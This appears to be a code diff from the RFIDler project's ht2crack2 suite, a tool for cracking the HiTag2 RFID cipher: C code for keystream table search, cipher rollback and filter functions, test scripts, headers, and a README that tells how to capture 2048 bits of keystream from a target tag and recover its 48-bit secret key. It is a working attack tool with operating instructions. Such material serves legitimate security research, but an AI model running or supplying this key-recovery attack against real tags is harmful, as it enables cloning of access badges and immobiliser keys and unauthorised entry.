printf("b:\t\t");
printbin2(b, 32);
printf("\n");
printf("nRenc:\t\t");
printbin2(nRenc, 32);
printf("\n");
nR = nRenc ^ b;
printf("nR:\t\t");
printbin2(nR, 32);
printf("\n");
keyupper = nRxork ^ nR;
key = key | (keyupper << 16);
printf("key:\t\t");
printbin2(key, 48);
printf("\n");
return key;
}
int main(int argc, char *argv[])
{
Hitag_State hstate;
struct rngdata rng;
int bitoffset = 0;
unsigned char rngmatch[6];
unsigned char rngstate[6];
char *uidstr;
char *nRstr;
uint64_t keyrev;
uint64_t key;
int i;
if (argc < 4) {
printf("ht2crack2search rngdatafile UID nR\n");
exit(1);
}
if (!loadrngdata(&rng, argv[1])) {
printf("loadrngdata failed\n");
exit(1);
}
if (!strncmp(argv[2], "0x", 2)) {
uidstr = argv[2] + 2;
} else {
uidstr = argv[2];
}
if (!strncmp(argv[3], "0x", 2)) {
nRstr = argv[3] + 2;
} else {
nRstr = argv[3];
}
if (!findmatch(&rng, rngmatch, rngstate, &bitoffset)) {
printf("couldn't find a match\n");
exit(1);
}
printf("found match:\n");
printf("rngmatch = %02x %02x %02x %02x %02x %02x\n", rngmatch[0], rngmatch[1], rngmatch[2], rngmatch[3], rngmatch[4], rngmatch[5]);
printf("rngstate = %02x %02x %02x %02x %02x %02x\n", rngstate[0], rngstate[1], rngstate[2], rngstate[3], rngstate[4], rngstate[5]);
printf("bitoffset = %d\n", bitoffset);
rollbackrng(&hstate, rngstate, bitoffset);
keyrev = recoverkey(&hstate, uidstr, nRstr);
key = rev64(keyrev);
printf("keyrev:\t\t");
printbin2(key, 48);
printf("\n");
printf("KEY:\t\t");
for (i=0; i<6; i++) {
printf("%02X", (int)(key & 0xff));
key = key >> 8;
}
printf("\n");
return 0;
}

View file

@ -0,0 +1,187 @@
#include "ht2crack2utils.h"
// writes a value into a buffer as a series of bytes
void writebuf(unsigned char *buf, uint64_t val, unsigned int len)
{
int i;
char c;
for (i=len-1; i>=0; i--)
{
c = val & 0xff;
buf[i] = c;
val = val >> 8;
}
}
/* simple hexdump for testing purposes */
void shexdump(unsigned char *data, int data_len)
{
int i;
if (!data || (data_len <= 0)) {
printf("shexdump: invalid parameters\n");
return;
}
printf("Hexdump from %p:\n", data);
for (i=0; i<data_len; i++) {
if ((i % HEX_PER_ROW) == 0) {
printf("\n0x%04x: ", i);
}
printf("%02x ", data[i]);
}
printf("\n\n");
}
void printbin(unsigned char *c)
{
int i, j;
unsigned char x;
if (!c) {
printf("printbin: invalid params\n");
return;
}
for (i=0; i<6; i++) {
x = c[i];
for (j=0; j<8; j++) {
printf("%d", (x & 0x80) >> 7);
x = x << 1;
}
}
printf("\n");
}
void printbin2(uint64_t val, unsigned int size)
{
int i;
uint64_t mask = 1;
mask = mask << (size - 1);
for (i=0; i<size; i++) {
if (val & mask) {
printf("1");
} else {
printf("0");
}
val = val << 1;
}
}
void printstate(Hitag_State *hstate)
{
printf("shiftreg =\t");
printbin2(hstate->shiftreg, 48);
printf("\n");
}
// convert hex char to binary
unsigned char hex2bin(unsigned char c)
{
if ((c >= '0') && (c <= '9')) {
return (c - '0');
} else if ((c >= 'a') && (c <= 'f')) {
return (c - 'a' + 10);
} else if ((c >= 'A') && (c <= 'F')) {
return (c - 'A' + 10);
} else {
return 0;
}
}
// return a single bit from a value
int bitn(uint64_t x, int bit)
{
uint64_t bitmask = 1;
bitmask = bitmask << bit;
if (x & bitmask) {
return 1;
} else {
return 0;
}
}
// the sub-function R that rollback depends upon
int fnR(uint64_t x)
{
// renumbered bits because my state is 0-47, not 1-48
return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^
bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^
bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47));
}
// the rollback function that lets us go backwards in time
void rollback(Hitag_State *hstate, unsigned int steps)
{
int i;
for (i=0; i<steps; i++) {
hstate->shiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg);
}
}
// the three filter sub-functions that feed fnf
int fa(unsigned int i)
{
return bitn(0x2C79, i);
}
int fb(unsigned int i)
{
return bitn(0x6671, i);
}
int fc(unsigned int i)
{
return bitn(0x7907287B, i);
}
// the filter function that generates a bit of output from the prng state
int fnf(uint64_t s)
{
unsigned int x1, x2, x3, x4, x5, x6;
x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3);
x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3);
x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3);
x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3);
x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3);
x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4);
return fc(x6);
}
// builds the lfsr for the prng (quick calcs for hitag2_nstep())
void buildlfsr(Hitag_State *hstate)
{
uint64_t state = hstate->shiftreg;
uint64_t temp;
temp = state ^ (state >> 1);
hstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}

View file

@ -0,0 +1,34 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include "HardwareProfile.h"
#include "rfidler.h"
#include "util.h"
#include "hitagcrypto.h"
#define HEX_PER_ROW 16
void writebuf(unsigned char *buf, uint64_t val, unsigned int len);
void shexdump(unsigned char *data, int data_len);
void printbin(unsigned char *c);
void printbin2(uint64_t val, unsigned int size);
void printstate(Hitag_State *hstate);
unsigned char hex2bin(unsigned char c);
int bitn(uint64_t x, int bit);
int fnR(uint64_t x);
void rollback(Hitag_State *hstate, unsigned int steps);
int fa(unsigned int i);
int fb(unsigned int i);
int fc(unsigned int i);
int fnf(uint64_t s);
void buildlfsr(Hitag_State *hstate);

View file

@ -0,0 +1,68 @@
ht2crack2 suite
Build
-----
Edit ht2crack2buildtable.c and set the DATAMAX, NUM_BUILD_THREADS and NUM_SORT_THREADS values.
These are important if you want it to run quickly. Ideally set DATAMAX to the largest value
that you can get away with and set NUM_BUILD_THREADS and NUM_SORT_THREADS to the number of
virtual cores you have available, which MUST be a power of 2. NUM_BUILD_THREADS MUST be >=
NUM_SORT_THREADS.
Calculate DATAMAX = free RAM available / 65536, and then round down to a power of 10.
The Makefile is configured for linux. To compile on Mac, edit it and swap the LIBS= lines.
make clean
make
Run ht2crack2buildtable
-----------------------
Make sure you are in a directory on a disk with at least 1.5TB of space.
./ht2crack2buildtable
Wait a very long time. Maybe a few days.
This will create a directory tree called table/ while it is working that will contain
files that will slowly build up in size to approx 20MB each. Once it has finished making
these unsorted files, it will sort them into the directory tree sorted/ and remove the
original files. It will then exit and you'll have your shiny table.
Test with ht2crack2gentests
---------------------------
./ht2crack2gentests NUMBER_OF_TESTS
to generate NUMBER_OF_TESTS test files. These will all be named
keystream.key-KEYVALUE.uid-UIDVALUE.nR-NRVALUE
Test a single test with
./runtest.sh KEYSTREAMFILE
or manually with
./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE
or run all tests with
./runalltests.sh
Feel free to edit the shell scripts to find your tools. You might want to create a
symbolic link to your sorted/ directory called 'sorted' to help ht2crack2seach find the
table.
If the tests work, then the table is sound.
Search for key in real keystream
--------------------------------
Recover 2048 bits of keystream from the target RFID tag with the RFIDler. You will have had
to supply an NR value and you should know the tag's UID (you can get this using the RFIDler).
./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE

View file

@ -0,0 +1,412 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#include <stdio.h>
#include <string.h>
// BCD hardware revision for usb descriptor (usb_descriptors.c)
#define RFIDLER_HW_VERSION 0x020
// max sizes in BITS
#define MAXBLOCKSIZE 512
#define MAXTAGSIZE 4096
#define MAXUID 512
#define TMP_LARGE_BUFF_LEN 2048
#define TMP_SMALL_BUFF_LEN 256
#define ANALOGUE_BUFF_LEN 8192
#define COMMS_BUFFER_SIZE 128
#define DETECT_BUFFER_SIZE 512
#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period
// globals
extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read
extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
extern BYTE EMU_ThisBit; // The next data bit to transmit
extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
extern unsigned int EMU_Repeat; // Number of times to transmit full data set
extern BOOL EMU_Background; // Emulate in the background until told to stop
extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
extern BYTE ReaderPeriod; // Flag for sample display
extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer
extern BYTE Interface; // user interface - CLI or API
extern BYTE CommsChannel; // user comms channel - USB or UART
extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read
extern BOOL PWD_Mode; // is this tag password protected?
extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN
extern unsigned int Led_Count; // LED status counter, also used for entropy
extern unsigned long Reader_Bit_Count; // Reader ISR bit counter
extern char Previous; // Reader ISR previous bit type
// RWD (read/write device) coil state
extern BYTE RWD_State; // current state of RWD coil
extern unsigned int RWD_Fc; // field clock in uS
extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks
extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks
extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks
extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks
extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks
extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks
extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks
extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks
extern unsigned int RWD_OC5_config; // Output Compare Module settings
extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value
extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value
extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *RWD_Command_ThisBit; // Current command bit
extern BOOL Reader_ISR_State; // current state of reader ISR
// NVM variables
// timings etc. that want to survive a reboot should go here
typedef struct {
BYTE Name[7]; // will be set to "RFIDler" so we can test for new device
BYTE AutoRun[128]; // optional command to run at startup
unsigned char TagType;
unsigned int PSK_Quality;
unsigned int Timeout;
unsigned int Wiegand_Pulse;
unsigned int Wiegand_Gap;
BOOL Wiegand_IdleState;
unsigned int FrameClock;
unsigned char Modulation;
unsigned int DataRate;
unsigned int DataRateSub0;
unsigned int DataRateSub1;
unsigned int DataBits;
unsigned int DataBlocks;
unsigned int BlockSize;
unsigned char SyncBits;
BYTE Sync[4];
BOOL BiPhase;
BOOL Invert;
BOOL Manchester;
BOOL HalfDuplex;
unsigned int Repeat;
unsigned int PotLow;
unsigned int PotHigh;
unsigned int RWD_Gap_Period;
unsigned int RWD_Zero_Period;
unsigned int RWD_One_Period;
unsigned int RWD_Sleep_Period;
unsigned int RWD_Wake_Period;
unsigned int RWD_Wait_Switch_TX_RX;
unsigned int RWD_Wait_Switch_RX_TX;
} StoredConfig;
// somewhere to store TAG data. this will be interpreted according to the TAG
// type.
typedef struct {
BYTE TagType; // raw tag type
BYTE EmulatedTagType; // tag type this tag is configured to emulate
BYTE UID[MAXUID + 1]; // Null-terminated HEX string
BYTE Data[MAXTAGSIZE]; // raw data
unsigned char DataBlocks; // number of blocks in Data field
unsigned int BlockSize; // blocksize in bits
} VirtualTag;
extern StoredConfig RFIDlerConfig;
extern VirtualTag RFIDlerVTag;
extern BYTE TmpBuff[NVM_PAGE_SIZE];
extern BYTE DataBuff[ANALOGUE_BUFF_LEN];
extern unsigned int DataBuffCount;
extern const BYTE *ModulationSchemes[];
extern const BYTE *OnOff[];
extern const BYTE *HighLow[];
extern const BYTE *TagTypes[];
// globals for ISRs
extern BYTE EmulationMode;
extern unsigned long HW_Bits;
extern BYTE HW_Skip_Bits;
extern unsigned int PSK_Min_Pulse;
extern BOOL PSK_Read_Error;
extern BOOL Manchester_Error;
extern BOOL SnifferMode;
extern unsigned int Clock_Tick_Counter;
extern BOOL Clock_Tick_Counter_Reset;
// smart card lib
#define MAX_ATR_LEN (BYTE)33
extern BYTE scCardATR[MAX_ATR_LEN];
extern BYTE scATRLength;
// RTC
extern rtccTime RTC_time; // time structure
extern rtccDate RTC_date; // date structure
// digital pots
#define POTLOW_DEFAULT 100
#define POTHIGH_DEFAULT 150
#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB)
#define VOLTS_TO_POT 0.019607843F
// RWD/clock states
#define RWD_STATE_INACTIVE 0 // RWD not in use
#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request
#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period
#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset
#define RWD_STATE_START_SEND 4 // RWD starting send of data
#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap
#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit
#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period
#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier
// reader ISR states
#define READER_STOPPED 0 // reader not in use
#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading
#define READER_RUNNING 2 // reader reading bits
// user interface types
#define INTERFACE_API 0
#define INTERFACE_CLI 1
// comms channel
#define COMMS_NONE 0
#define COMMS_USB 1
#define COMMS_UART 2
#define MAX_HISTORY 2 // disable most of history for now - memory issue
// tag write retries
#define TAG_WRITE_RETRY 5
// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this
#define MOD_MODE_NONE 0
#define MOD_MODE_ASK_OOK 1
#define MOD_MODE_FSK1 2
#define MOD_MODE_FSK2 3
#define MOD_MODE_PSK1 4
#define MOD_MODE_PSK2 5
#define MOD_MODE_PSK3 6
// TAG types - update TagTypes[] in tags.c if you add to this list
#define TAG_TYPE_NONE 0
#define TAG_TYPE_ASK_RAW 1
#define TAG_TYPE_FSK1_RAW 2
#define TAG_TYPE_FSK2_RAW 3
#define TAG_TYPE_PSK1_RAW 4
#define TAG_TYPE_PSK2_RAW 5
#define TAG_TYPE_PSK3_RAW 6
#define TAG_TYPE_HITAG1 7
#define TAG_TYPE_HITAG2 8
#define TAG_TYPE_EM4X02 9
#define TAG_TYPE_Q5 10
#define TAG_TYPE_HID_26 11
#define TAG_TYPE_INDALA_64 12
#define TAG_TYPE_INDALA_224 13
#define TAG_TYPE_UNIQUE 14
#define TAG_TYPE_FDXB 15
#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat
#define TAG_TYPE_AWID_26 17
#define TAG_TYPE_EM4X05 18
#define TAG_TYPE_TAMAGOTCHI 19
#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram
// various
#define BINARY 0
#define HEX 1
#define NO_ADDRESS -1
#define ACK TRUE
#define NO_ACK FALSE
#define BLOCK TRUE
#define NO_BLOCK FALSE
#define DATA TRUE
#define NO_DATA FALSE
#define DEBUG_PIN_ON HIGH
#define DEBUG_PIN_OFF LOW
#define FAST FALSE
#define SLOW TRUE
#define NO_TRIGGER 0
#define LOCK TRUE
#define NO_LOCK FALSE
#define NFC_MODE TRUE
#define NO_NFC_MODE FALSE
#define ONESHOT_READ TRUE
#define NO_ONESHOT_READ FALSE
#define RESET TRUE
#define NO_RESET FALSE
#define SHUTDOWN_CLOCK TRUE
#define NO_SHUTDOWN_CLOCK FALSE
#define SYNC TRUE
#define NO_SYNC FALSE
#define VERIFY TRUE
#define NO_VERIFY FALSE
#define VOLATILE FALSE
#define NON_VOLATILE TRUE
#define NEWLINE TRUE
#define NO_NEWLINE FALSE
#define WAIT TRUE
#define NO_WAIT FALSE
#define WIPER_HIGH 0
#define WIPER_LOW 1
// conversion for time to ticks
#define US_TO_TICKS 1000000L
#define US_OVER_10_TO_TICKS 10000000L
#define US_OVER_100_TO_TICKS 100000000L
// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it
#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))
#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS))
#define TIMER5_PRESCALER 16
#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER)
// other conversions
// bits to hex digits
#define HEXDIGITS(x) (x / 4)
#define HEXTOBITS(x) (x * 4)

View file

@ -0,0 +1,3 @@
for i in keystream*; do
./runtest.sh $i
done

View file

@ -0,0 +1,25 @@
#!/bin/bash
if [ "$1" == "" ]; then
echo "runtest.sh testfile"
echo "testfile name should be of the form:"
echo "keystream.key-KEY.uid-UID.nR-NR"
exit 1
fi
filename=$1
UIDV=`echo $1 | cut -d'-' -f3 | cut -d'.' -f1`
NR=`echo $1 | cut -d'-' -f4`
KEYV=`echo $1 | cut -d'-' -f2 | cut -d'.' -f1`
echo "********************"
echo "FILENAME = $filename"
echo "UID = $UIDV"
echo "NR = $NR"
echo "Expected KEY = $KEYV"
./ht2crack2search $filename $UIDV $NR
echo "Expected KEY = $KEYV"
echo "********************"
echo ""

View file

@ -0,0 +1,206 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#define CRC16_MASK_CCITT 0x1021 // CRC-CCITT mask (ISO 3309, used in X25, HDLC)
#define CRC16_MASK_ISO_11785 0x8408 // ISO 11785 animal tags
#define CRC16_MASK_CRC16 0xA001 // standard CRC16 mask (used in ARC files)
/*
* Hitag Crypto support macros
* These macros reverse the bit order in a byte, or *within* each byte of a
* 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)
*/
#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \
+ (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \
+ (((X) << 5) &64) + (((X) << 7) &128) )
#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8))
#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16))
#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32))
BYTE approx(unsigned long number, unsigned long target, unsigned char percentage);
unsigned int bcdtouint(BYTE *bcd, BYTE length);
unsigned long long bcdtoulonglong(BYTE *bcd, BYTE length);
void inttobinarray(BYTE *target, unsigned int source, unsigned int bits);
void ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits);
void ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits);
void inttobinstring(BYTE *target, unsigned int source, unsigned int bits);
void ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits);
BOOL ulongtohex(BYTE *target, unsigned long source);
unsigned int binarraytoint(BYTE *bin, BYTE length);
unsigned long long binarraytolonglong(BYTE *bin, BYTE length);
unsigned long binarraytoulong(BYTE *bin, BYTE length);
BYTE hextobyte(BYTE *hex);
void printhexreadable(BYTE *hex, BYTE maxlength);
unsigned long hextoulong(BYTE *hex);
unsigned long hexreversetoulong(BYTE *hex);
unsigned long long hextoulonglong(BYTE *hex);
unsigned long long hexreversetoulonglong(BYTE *hex);
char hextolonglong(unsigned long long *out, unsigned char *hex);
unsigned int hextobinarray(unsigned char *target, unsigned char *source);
